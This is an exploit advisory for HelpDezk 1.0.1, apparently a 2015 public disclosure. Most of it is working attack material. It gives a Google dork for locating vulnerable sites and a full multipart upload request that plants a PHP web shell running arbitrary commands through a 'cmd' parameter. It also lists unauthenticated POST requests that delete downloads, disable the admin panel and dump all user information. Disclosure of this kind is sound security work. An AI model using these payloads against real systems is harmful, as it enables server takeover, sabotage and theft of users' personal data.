HelpDezk 1.0.1 Shell Upload / Code Execution / Disclosure
Posted on 28 February 2015
# Exploit Title: HelpDezk 1.0.1 Multiple Vulnerabilities # Google Dork: "intext: helpdezk-community-1.0.1" # Date: 26-2-2015 # Exploit Author: Dennis Veninga # Vendor Homepage: http://www.helpdezk.org/ # Vendor contacted: 26-2-2015 # Version: 1.0.1 # Tested on: Firefox 36 & Chrome 38 / W8.1-x64 HelpDezk -> Version: 1.0.1 Type: Multiple Critical Vulnerabilities Severity: Critical Info Exploit: Different exploits making it possible to take over the website/server - Arbitrary File Upload - Remote Command Execution - User Information Disclosure ############################################### Arbitrary File Upload, 2 ways -> 1. Direct Access: http://{target}/helpdezk/admin/logos/upload ######### 2. POST: http://localhost/helpdezk/admin/logos/upload After posting this, visit http://{target}/helpdezk/app/uploads/logos/shell.php?cmd=whoami CONTENT: -----------------------------14463264629720 Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: application/octet-stream <?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>$cmd<pre>"; die; } ?> -----------------------------14463264629720-- ############################################### Remote Command Execution, you see an white page with 'ok' when SUCCESS! Delete a download POST: http://localhost/helpdezk/admin/downloads/delete CONTENT: id={IDNUMBER} Deactivate admin panel: *use /activate and id={IDNUMBER} to activate again* POST: http://{localhost}/helpdezk/admin/modules/deactivate CONTENT: id=1 id=1 = Admin id=2 = Dashboard id=3 = HelpDezk ############################################### User Information Disclosure NOTE: Stop javascript, else it will quickly show all info and returns you to the login page. POST: http://{target}/helpdezk/admin/relPessoa/table_json/ CONTENT: typeperson=ALL ############################################### I'm sure I didn't find everything, but maybe time to fix those huge issues first!
